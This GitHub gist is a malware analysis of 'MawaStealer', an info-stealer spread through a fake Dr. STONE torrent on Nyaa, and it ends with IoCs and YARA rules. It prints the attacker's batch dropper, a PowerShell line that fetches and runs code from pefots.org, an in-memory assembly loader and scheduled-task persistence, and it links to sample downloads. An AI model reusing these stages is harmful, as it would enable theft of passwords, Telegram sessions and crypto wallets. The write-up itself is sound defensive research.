Skip to content

Instantly share code, notes, and snippets.

@shavitush
Last active October 3, 2025 21:14
Show Gist options
  • Select an option

  • Save shavitush/c69d96a0e3ec0eeb445e2ec687896910 to your computer and use it in GitHub Desktop.

Select an option

Save shavitush/c69d96a0e3ec0eeb445e2ec687896910 to your computer and use it in GitHub Desktop.

MawaStealer

Introduction

Nyaa. You're probably familiar with it if you're a stinky weeb like me. But if you're not, it's a torrent tracker; it allows users to upload torrents and to use their server as a tracker. In the past, the website allowed for registrations.
Ever since the website was flooded with child pornography and malware, they closed down on registrations years ago & disabled guest uploads, so only old accounts exist, and uploads are mostly fine. Occasionally, accounts are stolen and are used for spreading malware in the form of torrents.

Earlier today, 2025/09/11, there was a malicious archive uploaded to the website. It was titled Dr. STONE - Science Future - S04E21.zip. Advertises itself as a pirated copy of episode 21 in the 4th season of the anime series "Dr. STONE". The issue is that the contents of the file are actually a few unrelated items..

Figure 1: Screenshot of the archive's contents

The .mp4 file is pornographic content and is unrelated to either the malware or the series it was advertised as.

The malicious torrent was snatched (downloaded entirely, in torrenting terms) over 1,000 times since it was uploaded, until its removal.

Analysis

$ file My\ movies.lnk
My movies.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has command line arguments, Icon number=4, Unicoded, HasEnvironment "%COMSPEC%", MachineID router, EnableTargetMetadata KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, Archive, ctime=Tue Mar 19 02:44:16 2019, atime=Tue Mar 19 02:44:16 2019, mtime=Tue Mar 19 02:44:16 2019, length=280064, window=showminnoactive, IDListSize 0x0135, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\cmd.exe"

To figure out what it points to..

$ uv venv && source .venv/bin/activate && uv pip install LnkParse3
$ lnkparse My\ movies.lnk | grep -A 1 "DATA:"
   DATA:
      Command line arguments: /s /c start  /min cmd /c "@echo off& copy "info.png" "C:\Users\Public\info_ico.bat" &"C:\Users\Public\info_ico.bat"

The info.png file is copied to C:\Users\Public\info_ico.bat and is then executed.

The file contains a bunch of REM statements (comments!) like the following, to confuse an analyst into thinking the file is an execution log:

REM 08/23/2021 00:23:50.260 [9556]: Failed to load the runtime. (Exception from HRESULT: 0x80131700). Assembly Microsoft.Office.Tools.Outlook.Implementation.resources, Version=10.0.0.00000, Culture=de, PublicKeyToken=B03F5F7F11D50A3A requires version v4.0 of the runtime to run.
REM 08/23/2021 00:24:28.226 [9556]: Failed to load dependency EnvDTE of assembly Microsoft.SqlServer.WizardFramework, Version=15.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91 because of the following error : Das System kann die angegebene Datei nicht finden. (Ausnahme von HRESULT: 0x80070002)
REM 08/23/2021 00:24:28.230 [9556]: Failed to load dependency Microsoft.Data.ConnectionUI.Dialog of assembly Microsoft.ReportingServices.QueryDesigners.IS, Version=15.18.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91 because of the following error : Die gefundene Manifestdefinition der Assembly stimmt nicht mit dem Assemblyverweis überein. (Ausnahme von HRESULT: 0x80131040)
REM 08/23/2021 00:24:28.236 [9556]: Failed to load dependency Microsoft.Data.ConnectionUI of assembly Microsoft.ReportingServices.QueryDesigners.IS, Version=15.18.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91 because of the following error : Die gefundene Manifestdefinition der Assembly stimmt nicht mit dem Assemblyverweis überein. (Ausnahme von HRESULT: 0x80131040)

If I clean up all the junk, then this is the batch script we get:

@echo off
setlocal enabledelayedexpansion
attrib -h -s "My moviese"
start "" "My moviese"
set "batFile=C:\ProgramData\run_ps.bat"
set "vbsFile=C:\ProgramData\run_ps.vbs"
(
echo @echo off
echo powershell "$hrhbvcbcv = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('QWRkLVR5cGUgLUFzc2VtYmx5TmFtZSAnU3lzdGVtLk5ldC5IdHRwJzskY29udGVudCA9IChOZXctT2JqZWN0IFN5c3RlbS5OZXQuSHR0cC5IdHRwQ2xpZW50KS5HZXRBc3luYygnaHR0cHM6Ly9wZWZvdHMub3JnL2gxMDkwNy50eHQnKS5SZXN1bHQuQ29udGVudC5SZWFkQXNTdHJpbmdBc3luYygpLlJlc3VsdDskc2NyaXB0QmxvY2s9W1NjcmlwdEJsb2NrXTo6Q3JlYXRlKCRjb250ZW50KTskc2NyaXB0QmxvY2suSW52b2tlKCk7')) ; powershell $hrhbvcbcv"
) > "%batFile%"
(
echo Set WshShell = CreateObject("WScript.Shell"^)
echo REM True waits for BAT to finish before VBS ends
echo WshShell.Run Chr(34^) ^& "%batFile%" ^& Chr(34^), 0, True
) > "%vbsFile%"
for /f "tokens=1-2 delims=: " %%a in ('time /t') do (
    set /a hh=%%a
    set /a mm=%%b + 2
    if !mm! geq 60 (
        set /a mm=!mm!-60
        set /a hh=!hh!+1
    )
)
if %hh% lss 10 set hh=0%hh%
if %mm% lss 10 set mm=0%mm%
set runTime=%hh%:%mm%
set "taskName=RunVBSOnce"
schtasks /create /tn "%taskName%" /tr "wscript.exe \"%vbsFile%\"" /sc once /st %runTime% /rl LIMITED /f /ri 1 /du 9999
DEL *.lnk
DEL C:\Users\Public\info_ico.bat
endlocal
exit

A base64 buffer is decoded, executed, and its output is being piped to C:\ProgramData\run_ps.bat.

The contents of the run_ps.bat file are:

Add-Type -AssemblyName 'System.Net.Http';$content = (New-Object System.Net.Http.HttpClient).GetAsync('https://pefots.org/h10907.txt').Result.Content.ReadAsStringAsync().Result;$scriptBlock=[ScriptBlock]::Create($content);$scriptBlock.Invoke();

And the contents of the text file are:

$xa = "C:\Users\Public\Documents\ServiceMcCSP"
New-Item $xa -ItemType Directory -Force
#-----------------------------------------------------------------------------

#-------------------------------------------------------------------------

$base64Data = @"
<way too long data to include here>
"@

$outputPath = "C:\Users\Public\Documents\H1.TXT"

$bytes = [System.Convert]::FromBase64String($base64Data)

[System.IO.File]::WriteAllBytes($outputPath, $bytes)
Write-Host "C:\Users\Public\Documents\H1.TXT"
#-----------------------------------------------------------------------------



#-----------------------------------------------------------------------------

$Content = @'
$hexString  = '...122kb of data...';
$get = [byte[]]@(for ($i = 0; $i -lt $hexString.Length; $i += 2) { [convert]::ToByte($hexString.Substring($i, 2), 16) })   
$assem = [System.Reflection.Assembly]::Load($get)

$class = $assem.GetType("CLAYROOT.MyPlugin")

$method = $class.GetMethod("Main")

$method.Invoke(0,$null)
'@
[IO.File]::WriteAllText("C:\Users\Public\Documents\ServiceMcCSP\ppamproServiceMcCSPWAL.PS1", $Content)

#-----------------------------------------------------------------------------

$Content = @'
on error resume next
Set objShell = CreateObject("Wscript.Shell")
objShell.Run("Powershell -ExecutionPolicy Bypass $froncas='ReadAllText';$FUTG='C:\Users\Public\Documents\ServiceMcCSP\ppamproServiceMcCSPWAL.PS1';IEx([IO.File]::$froncas($FUTG))"),0, True
'@
[IO.File]::WriteAllText("C:\Users\Public\Documents\ServiceMcCSP\ppamproServiceMcCSPWAL.vbs", $Content)

#-----------------------------------------------------------------------------

Start-Sleep 6
try 
{
$EASTNOD1 = <#clay#> New-ScheduledTaskAction <#calroot#> -Execute <#clay#> 'C:\Users\Public\Documents\ServiceMcCSP\ppamproServiceMcCSPWAL.vbs'
$trigger1 =  New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 30)
Register-ScheduledTask  -Action  $EASTNOD1  -Trigger  $trigger1  -TaskName "ServiceMcCSPStartupv2"
} catch { }
Start-Sleep 2
try {   
    $taskName2 = "ServiceMcCSPv2"
    $scriptPath = "C:\Users\Public\Documents\ServiceMcCSP\ppamproServiceMcCSPWAL.vbs"
    schtasks /create /tn $taskName2 /tr "`"$scriptPath`"" /sc MINUTE /mo 2 /F
}
catch {}

Start-Sleep 2
schtasks /run /tn "ServiceMcCSPv2"

Let's walk over this:

  1. A folder at C:\Users\Public\Documents\ServiceMcCSP is created.
  2. A base64 buffer (wow, how original..!) is decoded and is saved into the Public user's Documents folder, named H1.TXT, which contains lines such as:
38|1
45|0
72|0
0|0
1|1
0|0
0|0
0|0
2|0
0|0
0|0
0|0
127|1
127|1
0|0
0|0
92|0
0|0
0|0
0|0
0|0
0|0
0|0
0|0
32|0
...
  1. Saves a PowerShell script as ppamproServiceMcCSPWAL.PS1 in the misleading services folder. It's a .NET DLL in disguise:
$ file ppamproServiceMcCSPWAL.PS1
ppamproServiceMcCSPWAL.PS1: PE32+ executable for MS Windows 4.00 (DLL), x86-64 Mono/.Net assembly, 2 sections

$ strings ppamproServiceMcCSPWAL.PS1
...
get_Payload
set_Payload
...

.. fun! We'll look into it later.

  1. Saves a PowerShell script into C:\Users\Public\Documents\ServiceMcCSP\ppamproServiceMcCSPWAL.vbs (misleading extensions once again), which simply reads the previous PowerShell script and executes it.
  2. Waits 6 seconds, then creates a scheduled task that runs C:\Users\Public\Documents\ServiceMcCSP\ppamproServiceMcCSPWAL.vbs once every 30 minutes.

The .NET DLL is obfuscated with ConfuserEx. Jiří's ConfuserEx deobfuscator works flawlessly on this sample!

The deobfuscated and cleaned .NET DLL (9c4a40687267fe0a773f401d274c487b8754599a0a25cda7db0a715608fc348e) is available at: https://0x0.st/KbVV.zip (password: infected) - I also uploaded it to VirusTotal for convenience.

Some insights:

  • There's a bunch of Arabic debugging prints in the code.
  • They only check for AVG and Avast. Not even Windows Defender, no EDRs.. what?
  • It makes use of a tool released on a hacking website back in 2018 named WinXRunPE_AMD64.
  • It "decrypts" (lol) the H1.txt file and runs the result (another ConfuserEx packed .NET DLL) from memory using the utility mentioned above. The SHA256 sum for that file is cedb0cf149fb99e283dff0112e67569970a36cb341a6069723fa987e54047c38 (https://0x0.st/KbVW.zip - password: infected). It can be deobfuscated the very same way. But this one is a bit more annoying, was written that way.

Figure 2: CLAYROOT

The dropped binary from H1.txt loads Rvyzqmak from its resources, decrypts it with 3-DES (CBC; key 46 0C DB C1 E6 CF 9A 66 24 5D 07 A7 C6 86 3F 25 IV: BB 5D E0 F0 B8 A5 60 B4), then decompresses it into.. you guessed it, another .NET DLL, 75a2b2a79e41bb50ca38ca612df9bcb4753a95f9be56930872a51c849d0dea64. (https://0x0.st/KbWr.zip - password: infected).

It's an info-stealer that appears to not be targeting too much, it attempts to steal the following:

  • Crypto wallets
    • Ledger Live
    • Electrum
    • Ethereum
    • Exodus
    • Zcash
    • atomic
    • Jaxx
  • Chrome profile (passwords, extensions, sessions, etc..)
  • Telegram credentials

I was surprised to see that it doesn't try to jack a Discord auth token, considering the audience it targets.

It also queries the system to check for a webcam, available antivirus software (SELECT * FROM AntiVirusProduct), and has very simple anti-debug checks - PEB/IsDebuggerPresent.

The data is later sent to hxxps[:]//installinfo[.]dynu[.]net (the C2 server).

Indicators of Compromise (IoCs)

SHA256 sums:

6e26e322b2ce7c34ddf248c094c866db0937bf52dfdb35bf80643dcbe591a71c  Dr. STONE - Science Future - S04E21.zip
580c5319ce6d6f46a9f5685542846d9322264c063ceb3e0e05a8cfb18b4c4112  info.png 
19e695fd9f2936f308f0bbb68f0dde52922c9b2380fb9e82a566590fc63c22e6  My movies.lnk
d350fe87cf00f5f7ee66d459364b978c0916f151affbefb94863a4b5b19ba45f  run_ps.bat
d5ee86bb5bfcbfe8e73059234f9106c50da0b3200e432feafb3bfbbc593c4d18  h10907.txt
172ecba4cba0abaab550b4809d44601f3aad80e097191717624a502f6ad5995e  H1.TXT
01ee9d37c806c54b3c9d28f435037490d78a4047f06accbcfc6b3bbeb82289f4  ppamproServiceMcCSPWAL.PS1
9c9dab5ec72f88a6c28033b71cdded3369d29a70f98b796f590609dd13f40784  ppamproServiceMcCSPWAL.vbs
823f3135870ae34580a25575a462c59ab1202bf001f40815dcfae44b87143050  Rvyzqmak

Domains

  • installinfo[.]dynu[.]net (C2)

Services

  • ServiceMcCSPStartupv2

Files/directories present on system

  • C:\Users\Public\Documents\ServiceMcCSP
  • C:\ProgramData\run_ps.bat
  • C:\ProgramData\run_ps.vbs

YARA rules

I don't have access to VT Retrohunt to verify; but the rules shouldn't be horrible.

import "lnk"
import "dotnet"

rule MawaStealer_stage_1_lnk
{
    meta:
        description = "The first stage of MawaStealer - lnk file that runs a batch script."
        date = "2025/09/11"
        author = "shavitush"

    condition:
        filesize < 30KB
        and uint32be(0) == 0x4c000000
        and uint32be(4) == 0x01140200
        and lnk.is_lnk
        and lnk.icon_location == "%SystemRoot%\\System32\\SHELL32.dll"
        and lnk.cmd_line_args contains "C:\\Users\\Public\\info_ico.bat"
}

rule MawaStealer_stage_2_bat
{
    meta:
        description = "The second stage of MawaStealer - batch dropper."
        date = "2025/09/11"
        author = "shavitush"

    strings:
        $raw_echo_off = "@echo off" ascii fullword
        $raw_bat = "run_ps.bat" ascii fullword
        $raw_vbs = "run_ps.vbs" ascii fullword
        $raw_wsh = "CreateObject(\"WScript.Shell\"^)" ascii fullword
        $raw_b64 = "[Convert]::FromBase64String" ascii fullword
        $raw_schtask = "schtasks /create /tn" ascii fullword
        $encoded_http_client = "New-Object System.Net.Http.HttpClient" base64 ascii
        $encoded_read_result = "Result.Content.ReadAsStringAsync().Result" base64 ascii

    condition:
        filesize < 400KB
        and all of ($raw_*)
        and 1 of ($encoded_*)
}

rule MawaStealer_stage_3_ps1
{
    meta:
        description = "The third stage of MawaStealer - creates scheduled tasks to execute the next stage of the malware."
        date = "2025/09/11"
        author = "shavitush"

    strings:
        $b64 = "38|1\r\n45|0\r\n72|0\r\n0|0\r\n1|1\r\n0|0\r\n0|0\r\n0|0\r\n2|0\r\n0|0\r\n0|0\r\n0|0\r\n127|1\r\n127|1\r\n0|0\r\n0|0" base64 ascii
        $load = "[System.Reflection.Assembly]::Load" ascii fullword
        $schtask = "schtasks /create /tn" ascii fullword
        $trigger = "New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval" ascii fullword

    condition:
        filesize < 10MB
        and all of them
}

rule MawaStealer_stage_4_RunPE64
{
    meta:
        description = "The fourth stage of MawaStealer - leverages WinXRunPE_AMD64."
        date = "2025/09/11"
        author = "shavitush"

    strings:
        $runpe64 = "WinXRunPE_AMD64" ascii fullword
        $confuser = "Confuser.Core" ascii fullword

    condition:
        filesize < 500KB
        and dotnet.is_dotnet
        and dotnet.module_name == "Runpe.dll"
        and all of them
}

I don't know who the threat actor might be, but considering the Arabic debug prints and the nature of the sample, I'll attribute it as MawaStealer. (مواء/Mawa is the Arabic equivalent of the Japanese "nyaa")

That's my quick analysis wrapped up. Thanks for reading!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment